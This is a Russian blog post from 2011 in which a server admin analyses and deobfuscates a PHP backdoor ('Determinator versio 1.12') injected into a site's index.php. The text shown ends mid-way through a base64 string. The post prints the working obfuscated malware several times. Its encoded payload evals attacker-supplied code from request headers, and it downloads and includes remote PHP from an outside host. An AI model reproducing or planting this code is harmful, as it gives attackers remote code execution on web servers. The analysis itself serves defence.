четверг, 17 февраля 2011 г.

Determinator. Versio 1.12.

В преддверии очередного конкурса RuCTF хочу рассказать о небольшой задачке, которую подкинула сама жизнь. Всё началось с того, что мною были предоставлены логин и пароль для доступа к хостинг-площадке. Являясь администратором данного сервера, я периодически мониторю пользовательскую активность. Не буду приводить лишние логи, просто увидел подозрительную пользовательскую активность и заметил, что в файлах на моем веб-сервере появился лишний код, причем очень любопытный. Вот например, примерчик из index.php:

<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc0lidlA5RkJEVVJoUVg5cmFHYUpWZEVIZEp6c3E3bygkek5WNUxwMHowclBqRzBhdHhMcHhBTWViRTlSaTZDTklEQ1FqdnJqYloyZHhpM0JYM0RBNDBhMDdPRWFDYTM4MSl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJHpOVjVMcDB6MHJQakcwYXR4THB4QU1lYkU5Umk2Q05JRENRanZyamJaMmR4aTNCWDNEQTQwYTA3T0VhQ2EzODEpO307ZnVuY3Rpb24gZUFmQjJmZFVRSkVQUFNGYXFtbkJtb2gyeG9IZXZnc21RSkQxZGFkZ1JCUjdxc2pOZ2VPR1Q4NmxhTGxvTEUxbCgkbENpaWV6c0YzYm1Uam9pNjlHWkxFemQzaTg1WGNGYnhBbE9EZ05neGRpQTRCUWZzTW5yQXRYdDFwVFpTZVNUMCl7cmV0dXJuICRsQ2lpZXpzRjNibVRqb2k2OUdaTEV6ZDNpODVYY0ZieEFsT0RnTmd4ZGlBNEJRZnNNbnJBdFh0MXBUWlNlU1QwO307'));uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq("\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX=\"ID8+PD9waHAKDQppZiAoIWRlZmluZWQoJ2RldGVybWluYXRvcicpKXsNCglmdW5jdGlvbiBmaWx0ZXIoKXsNCgkJZm9yZWFjaCAoJF9HRVQgYXMgJGs9PiR2KXsNCgkJCWlmIChzdHJwb3MoJHYsJ3VuaW9uJykpeyRfR0VUWyRrXT0nJzt9DQoJCQllbHNlaWYgKHN0cnBvcygkdiwnc2VsZWN0JykpeyRfR0VUWyRrXT0nJzt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gZ2V0ZmlsZSgkdXJsKXsNCgkJaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpID09ICcxJykgew0KCQkJcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCgkJfQ0KCQllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3\";\$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD=\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX.\"VybF9pbml0Jykpew0KCQkJJGNoID0gQGN1cmxfaW5pdCgpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsJHVybCk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsNCgkJCWlmICgkZGF0YSA9IEBjdXJsX2V4ZWMoJGNoKSkge3JldHVybiAkZGF0YTt9DQoJCQlAY3VybF9jbG9zZSgkY2gpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcmV0dXJuICc8aW1nIHNyYz0iJy4k\";\$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO=\$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD.\"dXJsLiciIHdpZHRoPSIxcHgiIGhlaWdodD0iMXB4IiAvPic7DQoJCX0NCgl9DQoJZnVuY3Rpb24gdXBkKCRmaWxlLCR1cmwpew0KCQkkaDA9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCUBmY2xvc2UoJGgwKTsNCgkJaWYgKEBpc19maWxlKCRmaWxlKSl7CXdyaXRlKCRmaWxlLGdldGZpbGUoJHVybCkpIDt9Ow0KCX0NCglmdW5jdGlvbiB3cml0ZSgkZmlsZSwkY29udGVudCl7DQoJCWlmIChAaXNfZmlsZSgkZmlsZSkpew0KCQkJJGg9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCQlAZndyaXRlKCRoLCRjb250ZW50KTsNCgkJCUBmY2xvc2UoJGgpOw0KCQkJQGhlYWRlcignWV9PdXQ6IGIycz0nKTsNCg\";\$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU=\$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO.\"kJfQ0KCX0NCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJJHR5cGU9J2JvdCc7DQoJJHZlcj0nMS4xMic7DQoJJGVuPSJiYXNlNjRfZW5jb2RlIjsNCgkkZGU9ImJhc2U2NF9kZWNvZGUiOw0KCSRob3N0PXN0cnRvbG93ZXIoQCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJJHNjPUBtZDUoJGhvc3QuUEhQX1ZFUlNJT04uJHZlci5QSFBfT1MuJzQnKTsNCglkZWZpbmUoJ2RldGVybWluYXRvcicsMSk7IGZpbHRlcigpOw0KCWlmICgkdXJpPSRob3N0LkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSl7DQoJCSR0bXA9Jy90bXAvJzsNCgkJaWYgKCFlbXB0eSgkX0VOVlsnVE1QJ10pKSB7\";\$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m=\$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU.\"ICR0bXAgPSAgJF9FTlZbJ1RNUCddLicvJzsgfQ0KCQlpZiAoIWVtcHR5KCRfRU5WWydUTVBESVInXSkpIHsgJHRtcCA9ICRfRU5WWydUTVBESVInXS4nLyc7IH0NCgkJaWYgKCFlbXB0eSgkX0VOVlsnVEVNUCddKSkgeyAkdG1wID0gJF9FTlZbJ1RFTVAnXS4nLyc7IH0NCgkJJHRtcD0kdG1wLicuJy4kc2M7DQoJCWlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRzYyl7DQoJCQlAaGVhZGVyKCdZX1ZlcnNpbzogJy4kdmVyLiR0eXBlKTsNCgkJCWlmICgkY29kZT0kZGUoQCRfU0VSVkVSWydIVFRQX0VYRUNQSFAnXSkpew0KCQkJCUBldmFsKCRjb2RlKTsNCgkJCQlleGl0KDApOw0KCQ\";\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9=\$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m.\"kJfQ0KCQkJaWYgKCRjbWQ9JGRlKEAkX1NFUlZFUlsnSFRUUF9VUERBVEUnXSkpe3VwZCgkdG1wLCRjbWQpO30NCgkJCWlmICgkY21kPSRkZShAJF9TRVJWRVJbJ0hUVFBfUFVUQ09ERSddKSl7d3JpdGUoJHRtcCwkY21kKTt9DQoJCX0NCgkJJHVyaT1AdXJsZW5jb2RlKCR1cmkpOw0KCQlpZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UgKCR0bXApO30NCgkJZWxzZSB7dXBkKCR0bXAsImh0dHA6Ly8iLiJnZXRwcm90Ii4ib2J5Ii4ibnVtYmVyLiIuImNvbSIuIi9pL3JlbSIuIi5waHA/dT0iLiR1cmkuIiZrPSIuJHNjLiImdD0iLiR0eXBlKTt9DQogICAgfQ0KfQ0KPz48P3BocCA=\"; uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq(eAfB2fdUQJEPPSFaqmnBmoh2xoHevgsmQJD1dadgRBR7qsjNgeOGT86laLloLE1l(hoe17pp4QbEXfFeSGdLVZXnr0QpZf4hNjsIbvP9FBDURhQX9raGaJVdEHdJzsq7o(\$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9))); ");}?>
Как видите, говоря "очень любопытный" я не лукавил)) Опытный глаз сразу поймет, что это обфусцированный код. Задача деобфускации всегда порождает очень много вопросов, особенно у тех, кто впервые сталкивается с обфусцированным кодом. Причем скажу, что написать какой-то универсальный деобфускатор архисложная задача ввиду очень большого числа подходов и методов к обфускации кода. Поэтому на живом реальном примере покажу, что надо делать с такой штукой.


Во-первых, если вы малоопытны в подобных вопросах, лучше сразу обратиться к поисковикам. Данный код имеет отличительные признаки, это: versio:1.12 и determinator. Имеет смысл сразу искать по ним. На сегодня я нахожу лишь сам код и удивленные возгласы на тему "а откуда это взялось в моих скриптах". По датам сообщений и их количеству можно сказать, что это массовое явление, которое началось в начале 2011 года.

Во-вторых, не каждый обфусцированный код подлежит однозначной прямой деобфускации. Я сталкивался с примерами, когда скрипт принимает ряд параметров-ключей, которые необходимы для корректной работы кода. Длина подобного рода информации ограничивается объёмами массивов $_GET, $_POST..  То есть исчисляется мегабайтами. Значит перебирать все возможные значения врядли перспективно.

В-третьих, если время для принятия решения ограничено, не стоит мучиться с кодом, сразу берите php-дебагер и просто наблюдайте за переменными. В 90% вы поймете функционал скрипта по тем переменным и значениям что он использует.

Мне с одной стороны повезло, с другой стороны не повезло. Я заметил подозрительную активность. Это плюс. Первым делом я решил проверить это код прямым обращением к скрипту через веб. Это минус. Сколько раз я встречал подозрительные скрипты которые оказывались частью вусивуг-реадктора или фотогаллереи.. И надо сказать, это притупило мою осторожность.

Я окончательно убедился что совершил ошибку, когда заглянул в логи веб-сервера и понял, что я первый посетитель с момента создания виртуального хоста-домена. Через 15 минут на сайт заглянули ещё два хоста:
78.56.181.186 - - [16/Feb/2011:16:34:10 +0300] "GET / HTTP/1.1" 200

112.201.24.25 - - [16/Feb/2011:16:34:13 +0300] "GET / HTTP/1.1" 200
Это уже логи. Не знаю что это за хосты, если кто знает - оставьте плиз комент, буду очень признателен. Данные whois совсем не удовлетворили моего интереса, а вот спать спокойно хотелось бы. Предположительно, это управляющие хосты, которые могли использовать зловредный скрипт или результат его работы. Ведь не трудно догадаться, что заглянув на сайт я активировал код аккуратно лежащий в index.php. Причем, он не заменял основной код, а просто выполнялся вперед него. Так что визуально он себя никак не выдавал.

Я понял, что попал в потенциальную ловушку. Пожалуй, это самый напряженный момент в этой истории. По трагическому совпадению, антивирус был отключен на тот момент. Это очень неприятно, когда осознаешь, что ты оказался абсолютно беззащитным перед неизвестной угрозой. Начинаешь вспоминать во сколько ты впервые зашел на страницу, что и где ты успел ввести, куда зайти... За 15 минут я успел открыть ещё одну консоль сервера, а сижу через другой сервер, зашел в почтовый ящик.. теоретически могли уйти сразу три критичных пароля. Если действия с этими паролями были бы автоматизированны, не имели задержки и направлены на однозначную деструкцию информации, то я бы приобрел очень серьезные проблемы. Поэтому срочный запуск антивируса, беглый осмотр списка процессов и срочная деобфускация кода, как единственная надежда на то, что самого страшного не случилось. Но прежде чем деобфусфировать - я пробежался по скрипту с дебагером, увидел что происходит попытка загрузки некоторого файла с удаленного хоста. К счастью, быстрая проверка подтвердила, что удаленный хост не может быть доступен (приостановлено делегирование зоны). Значит появилось время для всестороннего анализа кода. Честно говоря, по душе мне это занятие.

Смотрим код:
<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode
Этого для начала достаточно. После base64_decode идут закодированные функцией base64_encode, то есть кодированные способом MIME base64) данные. Очень рекомендую использовать любой редактор с подсветкой синтаксиса. Что бы поставив курсор на скобке после eval увидеть, где заканчивается граница функции. Это позволит разделить нам весь скрипт на две части. То что относится к eval и то что идёт после. К eval относится:
<?php /*versio:1.12*/if (!defined ("determinator")){eval(base64_decode('ZnVuY3Rpb24gdVAxUFFvWmZhZXpHN0xDSWVIek10OTczZ0RJZ2NnbDlQbWNmU0VkTkRMUUJoWGg4T2E1MEY0bGg0SDIwb0NGcSgkcWwxNk9HQTNRZkl2MlFYSjZkSEF1ZzhKbWZyRXBhaURjcm1FRnJPZFRWVFNnUjFDb0pmQVVRUDNqR3pORVV4bCl7cmV0dXJuIGV2YWwoJHFsMTZPR0EzUWZJdjJRWEo2ZEhBdWc4Sm1mckVwYWlEY3JtRUZyT2RUVlRTZ1IxQ29KZkFVUVAzakd6TkVVeGwpO307ZnVuY3Rpb24gaG9lMTdwcDRRYkVYZkZlU0dkTFZaWG5yMFFwWmY0aE5qc0lidlA5RkJEVVJoUVg5cmFHYUpWZEVIZEp6c3E3bygkek5WNUxwMHowclBqRzBhdHhMcHhBTWViRTlSaTZDTklEQ1FqdnJqYloyZHhpM0JYM0RBNDBhMDdPRWFDYTM4MSl7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJHpOVjVMcDB6MHJQakcwYXR4THB4QU1lYkU5Umk2Q05JRENRanZyamJaMmR4aTNCWDNEQTQwYTA3T0VhQ2EzODEpO307ZnVuY3Rpb24gZUFmQjJmZFVRSkVQUFNGYXFtbkJtb2gyeG9IZXZnc21RSkQxZGFkZ1JCUjdxc2pOZ2VPR1Q4NmxhTGxvTEUxbCgkbENpaWV6c0YzYm1Uam9pNjlHWkxFemQzaTg1WGNGYnhBbE9EZ05neGRpQTRCUWZzTW5yQXRYdDFwVFpTZVNUMCl7cmV0dXJuICRsQ2lpZXpzRjNibVRqb2k2OUdaTEV6ZDNpODVYY0ZieEFsT0RnTmd4ZGlBNEJRZnNNbnJBdFh0MXBUWlNlU1QwO307'));
Отлично. Теперь логично заменить функцию eval на функцию print. Это позволит нам понять, что же там выполняется и избавиться от base64_decode, оставив данные в явном виде. А открытый код уже можно привести в читаемый структурированный код. Итого у нас получилось:

<?php /*versio:1.12*/
if (!defined ("determinator"))
{
    eval('function uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq($ql16OGA3QfIv2QXJ6dHAug8JmfrEpaiDcrmEFrOdTVTSgR1CoJfAUQP3jGzNEUxl)
        {
            return eval($ql16OGA3QfIv2QXJ6dHAug8JmfrEpaiDcrmEFrOdTVTSgR1CoJfAUQP3jGzNEUxl);
        };
          function hoe17pp4QbEXfFeSGdLVZXnr0QpZf4hNjsIbvP9FBDURhQX9raGaJVdEHdJzsq7o($zNV5Lp0z0rPjG0atxLpxAMebE9Ri6CNIDCQjvrjbZ2dxi3BX3DA40a07OEaCa381)
          {
              return base64_decode($zNV5Lp0z0rPjG0atxLpxAMebE9Ri6CNIDCQjvrjbZ2dxi3BX3DA40a07OEaCa381);
          };
          function eAfB2fdUQJEPPSFaqmnBmoh2xoHevgsmQJD1dadgRBR7qsjNgeOGT86laLloLE1l($lCiiezsF3bmTjoi69GZLEzd3i85XcFbxAlODgNgxdiA4BQfsMnrAtXt1pTZSeST0)
          {
              return $lCiiezsF3bmTjoi69GZLEzd3i85XcFbxAlODgNgxdiA4BQfsMnrAtXt1pTZSeST0;
          };
    ');
Неплохо. Легче не стало, но понятно каким методами оперирует автор. Гигантские имена переменных и такие же названия функций. Что-либо переименовывать без представления логики работы скрипта нельзя. Для начала просто заменяем первую часть скрипта на то что у нас вышло. Проверяем синтаксис и убеждаемся в работоспособности кода. Здесь тоже eval и его тоже можно попытаться вывести на экран, но полной картины работы скрипта это не даст.

Теперь долго смотрим на начало строки второй части.. Я долго не мог понять что это вообще такое:
uP1PQoZfaezG7LCIeHzMt973gDIgcgl9PmcfSEdNDLQBhXh8Oa50F4lh4H20oCFq(
Но как-то глаз зацепился за первые четыре символа и нашел совпадение.... в названии первой функции из первой части. Значит в скобках должна начинаться передача единственного параметра. Но судя по тому, что переданный параметр имеет признаки нескольких переменных и составных выражений, при этом используется экранирование спец-символо, всё не так очевидно:

 ("\$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX=\"ID8+
Опять ищем границы функции  uP1PQ.... убеждаемся, что вызовом данной функции заканчивается цикл if и завершается код скрипта. Понятно что аргументом функции передается целое выражение. Поэтому его логично избавить это экранирования и попытаться вычислить его отдельно. У меня в итоге вышел следующий код:

<?php

$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX="ID8+PD9waHAKDQppZiAoIWRlZmluZWQoJ2RldGVybWluYXRvcicpKXsNCglmdW5jdGlvbiBmaWx0ZXIoKXsNCgkJZm9yZWFjaCAoJF9HRVQgYXMgJGs9PiR2KXsNCgkJCWlmIChzdHJwb3MoJHYsJ3VuaW9uJykpeyRfR0VUWyRrXT0nJzt9DQoJCQllbHNlaWYgKHN0cnBvcygkdiwnc2VsZWN0JykpeyRfR0VUWyRrXT0nJzt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gZ2V0ZmlsZSgkdXJsKXsNCgkJaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpID09ICcxJykgew0KCQkJcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCgkJfQ0KCQllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3";
$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD=$rtC2fidXsiuJ49bsSRGVGTulRE1iR0IPOPLPPFlX7XOQxg5qJMdtGaqARqVczODX."VybF9pbml0Jykpew0KCQkJJGNoID0gQGN1cmxfaW5pdCgpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsJHVybCk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsNCgkJCWlmICgkZGF0YSA9IEBjdXJsX2V4ZWMoJGNoKSkge3JldHVybiAkZGF0YTt9DQoJCQlAY3VybF9jbG9zZSgkY2gpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcmV0dXJuICc8aW1nIHNyYz0iJy4k";
$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO=$qzag2PJGViBvNroZVJBtucpirLzhqhsH4ba8NtdfGB3vVp4DJLXCHaG2aVedPTGD."dXJsLiciIHdpZHRoPSIxcHgiIGhlaWdodD0iMXB4IiAvPic7DQoJCX0NCgl9DQoJZnVuY3Rpb24gdXBkKCRmaWxlLCR1cmwpew0KCQkkaDA9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCUBmY2xvc2UoJGgwKTsNCgkJaWYgKEBpc19maWxlKCRmaWxlKSl7CXdyaXRlKCRmaWxlLGdldGZpbGUoJHVybCkpIDt9Ow0KCX0NCglmdW5jdGlvbiB3cml0ZSgkZmlsZSwkY29udGVudCl7DQoJCWlmIChAaXNfZmlsZSgkZmlsZSkpew0KCQkJJGg9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCQlAZndyaXRlKCRoLCRjb250ZW50KTsNCgkJCUBmY2xvc2UoJGgpOw0KCQkJQGhlYWRlcignWV9PdXQ6IGIycz0nKTsNCg";
$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU=$izSFvLOZZfLx0L3Id8vqshucRpppZ56jGTLnQnBHaBhc6EzjZTm1U4u2M2TnNFnO."kJfQ0KCX0NCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJJHR5cGU9J2JvdCc7DQoJJHZlcj0nMS4xMic7DQoJJGVuPSJiYXNlNjRfZW5jb2RlIjsNCgkkZGU9ImJhc2U2NF9kZWNvZGUiOw0KCSRob3N0PXN0cnRvbG93ZXIoQCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJJHNjPUBtZDUoJGhvc3QuUEhQX1ZFUlNJT04uJHZlci5QSFBfT1MuJzQnKTsNCglkZWZpbmUoJ2RldGVybWluYXRvcicsMSk7IGZpbHRlcigpOw0KCWlmICgkdXJpPSRob3N0LkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSl7DQoJCSR0bXA9Jy90bXAvJzsNCgkJaWYgKCFlbXB0eSgkX0VOVlsnVE1QJ10pKSB7";
$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m=$bDJpgalTmsc753HoQ8zdILOHvhHBHqVC724mveCCC4Gb0ESMOM5q1q5zHnfQ0SmU."ICR0bXAgPSAgJF9FTlZbJ1RNUCddLicvJzsgfQ0KCQlpZiAoIWVtcHR5KCRfRU5WWydUTVBESVInXSkpIHsgJHRtcCA9ICRfRU5WWydUTVBESVInXS4nLyc7IH0NCgkJaWYgKCFlbXB0eSgkX0VOVlsnVEVNUCddKSkgeyAkdG1wID0gJF9FTlZbJ1RFTVAnXS4nLyc7IH0NCgkJJHRtcD0kdG1wLicuJy4kc2M7DQoJCWlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRzYyl7DQoJCQlAaGVhZGVyKCdZX1ZlcnNpbzogJy4kdmVyLiR0eXBlKTsNCgkJCWlmICgkY29kZT0kZGUoQCRfU0VSVkVSWydIVFRQX0VYRUNQSFAnXSkpew0KCQkJCUBldmFsKCRjb2RlKTsNCgkJCQlleGl0KDApOw0KCQ";
$cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9=$sHP7ZQTANrHhN9c80jOBI7z1Qfx62qvOH1XeVuRFXGhL0vzPEJbZ9QoGx7mBlD3m."kJfQ0KCQkJaWYgKCRjbWQ9JGRlKEAkX1NFUlZFUlsnSFRUUF9VUERBVEUnXSkpe3VwZCgkdG1wLCRjbWQpO30NCgkJCWlmICgkY21kPSRkZShAJF9TRVJWRVJbJ0hUVFBfUFVUQ09ERSddKSl7d3JpdGUoJHRtcCwkY21kKTt9DQoJCX0NCgkJJHVyaT1AdXJsZW5jb2RlKCR1cmkpOw0KCQlpZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UgKCR0bXApO30NCgkJZWxzZSB7dXBkKCR0bXAsImh0dHA6Ly8iLiJnZXRwcm90Ii4ib2J5Ii4ibnVtYmVyLiIuImNvbSIuIi9pL3JlbSIuIi5waHA/dT0iLiR1cmkuIiZrPSIuJHNjLiImdD0iLiR0eXBlKTt9DQogICAgfQ0KfQ0KPz48P3BocCA=";

echo $cjULv3a3LSpp9LT13Ffq3AeTimxeCjim8qCm1U0zObFc1zOfHx5G5M9Zi6xgt0T9;

?>
 То есть всего лишь навсего постоянная конкатенация нескольких огромных строк. Эта строка является основным "движком этого скрипта". Всё остальное оболочки-обфускаторы.

В конце второй части видно, что данная строка запакована в последовательности функций:
uP1PQo(uP1PQo..(eAfB2..(hoe17...($cjULv3))))
 Вот теперь зная начальные значения всех переменных, можно всё разименовывать на свой лад. Кстати, я сразу внимания не обратил, но есть ещё один хитрый ход. Третья функция вообще ничего не делает, она не нужна, она только сбивает с толку, усложняя визуальное восприятие кода. Функция просто возвращает пришедшее к ней значение. Без изменений. Поэтому её можно просто стереть и упростить итоговый код второй части до:
uP1PQo(uP1PQo..(hoe17...($cjULv3)))
Для наглядности и удобства дальнейшего дебага я разложил все составные операторы и разнес их по разным строчкам. В итоге у меня получилось вот что:

<?php /*versio:1.12*/
if (!defined ("determinator"))
{
    eval('function pervaya($perem1)
        {
            return eval($perem1);
        };
          function vtoraya($perem2)
          {
              return base64_decode($perem2);
          };
    ');

    $hax="ID8+PD9waHAKDQppZiAoIWRlZmluZWQoJ2RldGVybWluYXRvcicpKXsNCglmdW5jdGlvbiBmaWx0ZXIoKXsNCgkJZm9yZWFjaCAoJF9HRVQgYXMgJGs9PiR2KXsNCgkJCWlmIChzdHJwb3MoJHYsJ3VuaW9uJykpeyRfR0VUWyRrXT0nJzt9DQoJCQllbHNlaWYgKHN0cnBvcygkdiwnc2VsZWN0JykpeyRfR0VUWyRrXT0nJzt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gZ2V0ZmlsZSgkdXJsKXsNCgkJaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpID09ICcxJykgew0KCQkJcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkdXJsKTsNCgkJfQ0KCQllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jykpew0KCQkJJGNoID0gQGN1cmxfaW5pdCgpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsJHVybCk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUixmYWxzZSk7DQoJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsNCgkJCWlmICgkZGF0YSA9IEBjdXJsX2V4ZWMoJGNoKSkge3JldHVybiAkZGF0YTt9DQoJCQlAY3VybF9jbG9zZSgkY2gpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcmV0dXJuICc8aW1nIHNyYz0iJy4kdXJsLiciIHdpZHRoPSIxcHgiIGhlaWdodD0iMXB4IiAvPic7DQoJCX0NCgl9DQoJZnVuY3Rpb24gdXBkKCRmaWxlLCR1cmwpew0KCQkkaDA9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCUBmY2xvc2UoJGgwKTsNCgkJaWYgKEBpc19maWxlKCRmaWxlKSl7CXdyaXRlKCRmaWxlLGdldGZpbGUoJHVybCkpIDt9Ow0KCX0NCglmdW5jdGlvbiB3cml0ZSgkZmlsZSwkY29udGVudCl7DQoJCWlmIChAaXNfZmlsZSgkZmlsZSkpew0KCQkJJGg9QGZvcGVuKCRmaWxlLCd3Jyk7DQoJCQlAZndyaXRlKCRoLCRjb250ZW50KTsNCgkJCUBmY2xvc2UoJGgpOw0KCQkJQGhlYWRlcignWV9PdXQ6IGIycz0nKTsNCgkJfQ0KCX0NCglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQoJJHR5cGU9J2JvdCc7DQoJJHZlcj0nMS4xMic7DQoJJGVuPSJiYXNlNjRfZW5jb2RlIjsNCgkkZGU9ImJhc2U2NF9kZWNvZGUiOw0KCSRob3N0PXN0cnRvbG93ZXIoQCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7DQoJJHNjPUBtZDUoJGhvc3QuUEhQX1ZFUlNJT04uJHZlci5QSFBfT1MuJzQnKTsNCglkZWZpbmUoJ2RldGVybWluYXRvcicsMSk7IGZpbHRlcigpOw0KCWlmICgkdXJpPSRob3N0LkAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSl7DQoJCSR0bXA9Jy90bXAvJzsNCgkJaWYgKCFlbXB0eSgkX0VOVlsnVE1QJ10pKSB7ICR0bXAgPSAgJF9FTlZbJ1RNUCddLicvJzsgfQ0KCQlpZiAoIWVtcHR5KCRfRU5WWydUTVBESVInXSkpIHsgJHRtcCA9ICRfRU5WWydUTVBESVInXS4nLyc7IH0NCgkJaWYgKCFlbXB0eSgkX0VOVlsnVEVNUCddKSkgeyAkdG1wID0gJF9FTlZbJ1RFTVAnXS4nLyc7IH0NCgkJJHRtcD0kdG1wLicuJy4kc2M7DQoJCWlmIChAJF9TRVJWRVJbIkhUVFBfWV9BVVRIIl09PSRzYyl7DQoJCQlAaGVhZGVyKCdZX1ZlcnNpbzogJy4kdmVyLiR0eXBlKTsNCgkJCWlmICgkY29kZT0kZGUoQCRfU0VSVkVSWydIVFRQX0VYRUNQSFAnXSkpew0KCQkJCUBldmFsKCRjb2RlKTsNCgkJCQlleGl0KDApOw0KCQkJfQ0KCQkJaWYgKCRjbWQ9JGRlKEAkX1NFUlZFUlsnSFRUUF9VUERBVEUnXSkpe3VwZCgkdG1wLCRjbWQpO30NCgkJCWlmICgkY21kPSRkZShAJF9TRVJWRVJbJ0hUVFBfUFVUQ09ERSddKSl7d3JpdGUoJHRtcCwkY21kKTt9DQoJCX0NCgkJJHVyaT1AdXJsZW5jb2RlKCR1cmkpOw0KCQlp